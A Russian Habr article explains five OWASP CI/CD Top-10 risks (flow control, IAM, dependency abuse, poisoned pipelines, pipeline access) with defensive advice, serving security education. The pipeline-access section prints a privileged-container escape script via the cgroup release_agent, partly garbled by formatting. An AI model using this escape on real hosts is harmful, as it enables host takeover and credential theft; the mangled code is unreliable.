Привет, Хабр!
Меня зовут Артём Пузанков, я DevSecOps Cluster Lead (руководитель направления безопасной разработки) в МТС Digital.
Экспертное сообщество OWASP представило OWASP Top-10 CI/CD Security Risks — список критических уязвимостей конвейера CI/CD. Его получили, исследовав векторы атак и проанализировав самые распространенные нарушения безопасности.
Toп-10 помогает разработчикам и ИБ-специалистам определять приоритетные области для защиты своего конвейера CI/CD. Ещё он подсказывает наиболее вероятные поверхности рисков и проблемы, с которыми чаще всего сталкиваются специалисты. Давайте рассмотрим эти уязвимости и подумаем, как знакомство с ними поможет нам в работе.
Дисклеймер
Когда я выступал с докладом по этой теме на RSHB DevSecOps Meetup, кто-то из зала сказал, что хотелось бы видеть не только теорию, но и побольше примеров из практики. Проблема в том, что если подробно раскрыть каждый пункт, материал растянется до бесконечности и перестанет быть универсальным. Это может произойти, например, из-за того, что у всех стоят разные системы контроля версий. Я постарался собрать здесь самые интересные и универсальные на мой взгляд кейсы. Погнали!
Nota bene: В этом материале я расскажу вам о пяти пунктах из Top-10. Статья написана по мотивам выступления коллег на конференции Saint Highload 2023, видео выступления доступно по ссылке, а про вторую половину вы можете почитать в статье моего коллеги по цеху Андрея Моисеева, которая уже ждёт вас на Хабре.
Содержание:
CICD-SEC-1: Insufficient Flow Control Mechanisms / Недостаточные механизмы управления потоком
CICD-SEC-3: Dependency Chain Abuse / Злоупотребление цепочкой зависимостей
CICD-SEC-4: Poisoned Pipeline Execution (PPE) / Выполнение «отравленного» pipeline
CICD-SEC-1: Insufficient Flow Control Mechanism / Недостаточные механизмы управления потоком
Это самая распространенная уязвимость CI/CD по мнению OWASP Top 10 CI/CD Security Risks.
Речь про неспособность конвейера обеспечить строгий набор проверок. Эта проблема частенько усугубляется неправильными конфигурациями, отсутствием автоматизации или слабым контролем доступа.
Из-за недостаточных механизмов управления потоком (например, когда нет подтверждения операций несколькими людьми, commit review, автоматизированных проверок и т.д.), злоумышленник может получить доступ к source code management и с лёгкостью доставлять до промышленной среды уязвимый код:
отправляя его в ветку, которая автоматически разворачивается в production
отправляя его в ветку репозитория и вручную запуская конвейер, который отправит код в production
изменяя его в служебной библиотеке, которая используется приложением в production
Как понять, что вы в зоне риска?
Если вы попали хоть в один из нижеперечисленных пунктов, вы можете пострадать от уязвимости CICD-SEC-1:
автоматическое развертывание на production;
дебаг на production;
ручной триггер для развертывания на production;
бесконтрольный push кода в библиотеки на production;
бесконтрольное слияние (MR) веток;
bypass проверок при загрузке артефактов в хранилище;
наличие доступа к production у разработчиков.
Чтобы избежать этой проблемы, стоит перейти на эффективное управление потоками в конвейере CI/CD. Как минимум – выполнять этапы/stages в правильном порядке, следить за загрузкой системы, чтобы избежать «перегрузки», а также контролировать доступ к конвейеру, позволяя работать с ним только тем, кому это правда нужно.
Самый банальный пример: деплоить можно только после того, как QA проверит программное обеспечение, чтобы гарантировать, что уязвимости не «поедут» в production и не придется заниматься дебаггингом прямо на нём.
Повышаем безопасность
Чтобы не попасть в беду, стоит внедрить настройки и процессы из примеров ниже:
Используйте submodules, например, для файлов CICD, в которых содержатся конвейеры конкретных приложений.
Владельцы файла (codeowners)
Git поддерживает закрепление codeowners за файлами, указывая членов команды, ответственных за код в проекте.
Исключение push в main
Если у разработчиков есть разрешение на push в main непроверенного кода в репозиторий без ревью, убедитесь, что они не смогут запустить подключенные к репозиторию конвейеры.
Исключение self-approve MR. Разрешение должно выдаваться несколькими лицами через ревью кода
Не позволяйте запускать конвейеры сборки и развертывания без дополнительного одобрения или проверки.
Сборка и развертывание только из main-/release-веток
Ограничение использования правил автоматического слияния. При работе убедитесь, что они применимы к минимальным контекстам.
Everything as Code. CI/CD, инфра и всё, что возможно храните как код, и применяйте описанные выше настройки. Цель – максимальная автоматизация и минимум ручных действий
CICD-SEC-2: Inadequate Identity and Access Management / Неадекватное управление идентификацией и доступом
Теперь поговорим про недостаточный контроль над тем, кто может получать доступ и вносить изменения в конвейере.
Риск связан со сложностями при управлении огромным количеством идентификаторов в системах и обилием методов SCM/build/deploy/bots/api/ТУЗ — password/token/ssh.
«Неуправляемые» идентификационные данные в конвейере ставят под угрозу безопасность CI/CD и могут привести к несанкционированному доступу, изменению кода, утечке данных, вмешательству в процесс сборки и манипуляциям с конвейером.
Даже название этого пункта пересекается с подходом «Управление идентификацией и доступом» (Identity and Access Management (IAM).
IAM — совокупность политик и технологий, регулирующих выдачу людям и приложениям доступа к технологическим ресурсам.
В процессе CI/CD IAM отвечает за список учетных записей с доступом к конвейеру. Ещё он регламентирует, что и где они смогут делать.
Как понять, что вы в зоне риска?
Вот анти-паттерны, которые как бы намекают, что у вас может быть CICD-SEC-2:
общие аккаунты на несколько сотрудников
оutsourcing разработки внешними сотрудниками
выдача избыточных привилегий
«забытые» доступы
Огромное количество учетных записей с избыточными правами = неизбежная компрометация. Рекомендации:
внедрять лучшие практики IAM (SSO, PAM, password management)
контроль и аудит привилегий
Помогут поддерживать эффективность IAM, выявляя устаревшие права доступа (например, у аутсорсеров, с которыми больше не работаете), излишние разрешения. Устанавливайте срок для отключения или удаления устаревших учеток. Используйте IdP, наконец.
исключение общих аккаунтов
Создавайте отдельную учетную запись для каждой интеграции, выдавая только необходимые для конкретной роли разрешения. Это куда безопаснее одного аккаунта с полными правами.
несколько админов или approver
Разработчики не могут выдавать права друг-другу
принцип наименьших привилегий – наше всё. Выдаём минимально необходимые разрешения, а остальные добавляем при необходимости.
CICD-SEC-3: Dependency Chain Abuse / Злоупотребление цепочкой зависимостей
Эти риски нацелены на использование вредоносных зависимостей при извлечении библиотек и внешних пакетов. Это приводит к тому, что вредоносный пакет случайно извлекается и выполняется локально.
Основными векторами атак являются:
Dependency confusion — публикация заражённых пакетов в общедоступных репозиториях с названием как у одного из внутренних пакетов. Реализуют это в надежде на то, что менеджер пакетов по ошибке получит вредоносный пакет вместо легитимного.
Dependency hijacking — угон учетной записи владельца популярного общедоступного пакета и загрузка вредоносного от его имени.
Typosquatting — публикация вредоносных пакетов с именами, похожими на имена популярных пакетов, в надежде на опечатку.
Brandjacking — публикация вредоносных пакетов под видом «брендированного», ложная ассоциация со знакомым брендом.
Как защититься?
Контролировать и сканировать зависимости (OSA, SCA)
Использовать внутренние artifactory и proxy-серверы
Реализуйте и переведите всех разработчиков на извлечение пакетов только из внутренних ресурсов, запретите загрузку напрямую из интернета.
Подписывать артефакты и проверять подпись
Расхождения контрольных сумм наталкивают на мысли о потенциальном вмешательстве в зависимости. Такие несоответствия могут быть результатом несанкционированных модификаций, внедрения вредоносного кода или замены законных пакетов скомпрометированными версиями.
Минимизируйте возможность сборок влиять друг на друга. Если одна из них скомпрометирована, это защитит остальные.
CICD-SEC-4: Poisoned Pipeline Execution (PPE) / Выполнение «отравленного» pipeline
Pipeline — последовательные шаги, двигаясь по которым и выполняются операции конвейера.
Их определяет файл конфигурации CI, размещенный в репозитории. В нем (например, Jenkinsfile, .gitlab-ci.yml) описан порядок выполнения заданий, настройки и условия среды сборки.
Когда вы запускаете задание конвейера, код извлекается из выбранного источника (файла, директории, ветки) и выполняет команды, указанные в файле конфигурации CI.
При выполнении «отравленного» pipeline (PPE) злоумышленник может получить доступ к управлению исходным кодом (SCM) минуя прямой доступ к системе сборки.
Изменяя файлы конфигурации CI или те, от которых зависит задание конвейера CI, злоумышленники внедряют вредоносные команды и манипулируют процессом сборки. Это отравляет конвейер и запускает несанкционированное выполнение кода.
Успешные атаки PPE открывают доступ к секретам и внешним ресурсам, к доставке по конвейеру вредоносного кода и артефактов, а также прокладывают путь к дополнительным хостам и активам в сети/среде выполнения задания.
Злоумышленник может воспользоваться прямым (D-PPE), косвенным (I-PPE) или публичным (3PE) способами манипулирования командами, выполняемыми конвейером. Рассмотрим подробнее:
Direct/прямой PPE — изменение файла конфигурации CI в репозитории, либо отправляя изменения в незащищенную удаленную ветку репозитория.
Пример атаки D-PPE приведен на рисунке выше и реализуется при выполнении следующих шагов:
Злоумышленник создаёт новую ветку в репозитории, изменяя файл конфигурации конвейера (.gitlab-ci.yml) вредоносными инструкциями для получения учетных данных от сервиса А, хранящихся в переменных окружения gitlab.
Отправляя код в ветку, конвейер активируется и извлекает инструкции, включая вредоносный файл конфигурации.
Конвейер работает в соответствии с испорченным злоумышленником конфигурационным файлом. Внедренные вредоносные функции требуют загрузки в память учетных данных для сервиса A, хранящихся как секреты репозитория.
Следуя инструкциям злоумышленника, конвейер передаёт учетные данные сервиса A на его сервер.
Злоумышленник получает учетные данные, а следовательно, и доступ к сервису А.
Indirect/косвенный PPE — когда D-PPE нереализуемо, злоумышленник все равно может «отравить» конвейер, внедрив вредоносный код в файлы, на которые ссылается конфигурация. Например, example.sh, Makefile, файлы в том же репо, которые используются при сборке, и т.д.
I-PPE реализуется при выполнении следующих шагов:
Злоумышленник создает pull request, добавляя вредоносные команды в файл example.sh.
Конвейер запускается, поскольку настроен на срабатывание при любом pull request в репозитории. Он извлекает код из репозитория, включая вредоносный example.sh.
Конвейер работает на основе файла конфигурации, хранящегося в основной ветке. Он переходит на этап сборки и загружает учетные данные для авторизации в сервисе A. в переменные среды, как определено в исходном файле .gitlab-ci.yml. Затем запускается
sh example.sh
и выполняет вредоносную команду из файла example.sh.Запускается вредоносная функция сборки, определенная в example.sh. Учетные данные для авторизации в сервисе A. отправляются на сервер злоумышленника.
Теперь он может использовать украденные учетные данные для доступа к сервису А.
Public PPE — злоумышленнику требуется доступ к репозиторию, где находится конфигурация конвейера, или к файлам, на которые он ссылается, но в публичных, общедоступные проектах/репозиториях.
Как защититься?
Раздельные репозитории, protected branches, git submodules/include
Чтобы предотвратить манипуляции с файлом конфигурации CI, можно управлять файлом в отдельной ветке и сделать её защищенной.
Сегментированная инфраструктура dev/prod
Убедитесь, что конвейеры, на которых выполняется непроверенный код (dev) работают на отдельных runners и не взаимодействуют с секретами из продуктивной среды.
Для файлов назначены ответственные/codeowners
Разработчик не должен влиять на файлы конфигурации CI, это зона ответственности DevOps и DevSecOps.
Нет влияния на соседние сборки
CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls) / Недостаточный контроль доступа конвейера
Это нарушение происходит при использовании конвейера с чрезмерным доступом к ресурсам и системам внутри и за пределами среды выполнения. При недостаточных средствах контроля доступа злоумышленник, с вредоносным кодом может воспользоваться уязвимостями для перемещения внутри или за пределами конвейера.
Выполняя команды, указанные в конфигурации, раннеры получают доступ к:
исходному коду;
сторонней информации, секретам, сервисам;
прошлым, соседним, следующими сборкам или репозиториям;
хостовой ОС;
выходу в интернет.
Например, злоумышленник может реализовать уязвимость Docker Escape, если контейнер запущен с повышенными привилегиями (--privileged/--cap-add=SYS_ADMIN
, и не только).
Проверить возможности контейнера можно при помощи команды:
capsh --print
Реализация «побега»
# запустите контейнер
docker run --rm -it --privileged ubuntu bash
# найдите и включите cgroup release_agent (пример: /sys/fs/cgroup/*/release_agent)
d=dirname $(ls -x /s*/fs/c*/*/r* |head -n1)
# включите notify_on_release в cgroup
mkdir -p
echo 1 >" class="formula inline">d/w/notify_on_release
# если поймали ошибку Read-only file system, необходимо использовать другой сценарий, гуглите :)
# найдите путь OverlayFS примонтированного к контейнеру
t=sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab
# установите release_agent в /path/payload
touch /o; echo $t/c > $d/release_agent
# создайте payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# запустите cgroup через cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# выведите output
cat /o
«Сбежав» из контейнера, злоумышленник может посмотреть все переменные окружения — printenv, записать SSH-ключ в файл authorized_keys root-пользователя, перемещаться на другие сервера. Словом, делать всё, что ему заблагорассудится.
Важно ограничить доступ конвейера к минимальному набору данных и ресурсов, необходимых для его работы. Это:
Различные секреты и токены для dev/prod, их периодическая ротация
Если вы разделите секреты и регулярно будете их ротировать, то даже в случае компрометации токена или секрета возможности злоумышленника будут ограничены.
Разделение инфраструктуры dev/prod
Не используйте один и тот же Runner для работы с кодом, секретами разных уровней (dev/prod) и доступами к разным ресурсам.
Сброс в «чистое» состояние после сборки
Доступ только к необходимым ресурсам
Настройте сегментацию сети в среде, где выполняете сборку, чтобы разрешать доступ только к необходимым ресурсам. Воздержитесь от доступа в интернет.
Разработчик – только в dev
Хорошей практикой служит то, что в production попадает «идеальный» код, на который разработчик не может повлиять. А делать всё, что пожелает, он сможет только в dev ветке.
Заключение
Я постарался рассказать о пяти пунктах уязвимостей из OWASP Top 10 CI/CD простыми словами и показать, какие риски они несут, к каким векторам атак могут привести.
Все описанные выше методы защиты, безусловно, не дают вам 100% защищённости. Но их реализация позволит обеспечить определенный уровень безопасности CI/CD.
Надеюсь, что этот материал поможет кому-то оценить риски и заставит задуматься о безопасности ваших конвейеров. Буду рад ответить на ваши вопросы в комментариях!